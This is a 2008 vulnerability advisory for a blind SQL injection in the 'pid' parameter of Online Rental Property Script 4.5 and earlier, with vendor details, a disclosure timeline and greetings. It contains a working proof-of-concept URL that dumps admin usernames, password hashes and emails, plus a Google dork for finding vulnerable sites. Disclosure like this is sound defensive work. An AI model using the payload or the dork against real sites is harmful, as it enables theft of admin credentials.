SecurityReason - Online Rental Property Script <= 4.5 (pid) Blind Sql Injection Vulnerability

Advisory Text :

ECHO_ADV_91$2008

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[ECHO_ADV_91$2008] Online Rental Property Script <= 4.5 (pid) Blind Sql
Injection Vulnerability

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Author : M.Hasran Addahroni

Date : May, 5 th 2008

Location : Jakarta, Indonesia

Web : http://advisories.echo.or.id/adv/adv91-K-159-2008.txt

Critical Lvl : Medium

Impact : System access

Where : From Remote

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Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Online Rental Property Script

version : <= 4.5

Vendor : http://www.online-rent.com

Description :

Since 2003 we develop, sell and support our ONLINE BOOKING ENGINE for
rental properties with real estate option. Joomla CMS is now integrated
with our script. DESKTOP software for property management by owners/agents.
Online and offline payments. Comission based/subscription based advertising
for owners. Two booking calendars, three online booking types. Google Maps
integration and NEW Google Maps property listing. Advanced administration
features: additional services, description fields, taxes, custom links and
pages, multiple language support, multiple currencies, configurable search.
Property Management features: Advanced Reservation Management, HTML pages,
SEO optimization, traffic report, Ratecard, price grid and many more ...
Newsletter module, cronjob for recurring tasks, IP ban, activity log. You
can build your own design and 100% customize the text used in the script.
14 predefined design templates and 10 predefined display styles. Easy
upgrades. Add property wizard

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Vulnerability:

~~~~~~~~~~~~~~

Input passed to the "pid" parameter is not properly verified before being
used to sql query.

This can be exploited thru the browser and get the username and hash md5
password from admin.

Successful exploitation requires that "magic_quotes" is off

Poc/Exploit:

~~~~~~~~~~

http://www.target.com/index.php?pid=-1%20union%20select%201,concat(id,0x
3a,user,0x3a,password,0x3a,access,0x3a,email),3,4,5,6,7,8,9,0,1,2,3,4,5,
6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2%20from%20admin--&u
ser=det

Dork:

~~~~~

Google : "allinurl:index.php?user=daysbooking"

Solution:

~~~~~~~

- Edit the source code to ensure that input is properly verified.

- Turn on magic_quotes in php.ini

Timeline:

~~~~~~~~~

- 01 - 05 - 2008 bug found

- 01 - 05 - 2008 vendor contacted

- 05 - 05 - 2008 advisory released

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Shoutz:

~~~~~

~ ping - my dearest wife, zautha my light of eyes, for all the luv the
tears n the breath

~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,
az01,negative,the_hydra,neng chika, str0ke

~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES

~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0mal
y,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b

~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R,
kuntua, stev_manado, nofry,k1tk4t,0pt1c

~ newbie_hacker (at) yahoogroups (dot) com [email concealed]

~ #aikmel #e-c-h-o @irc.dal.net

~ special for rgod - good bye mate, thanks for the great works.

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Contact:

~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com

Homepage: http://k-159.echo.or.id/

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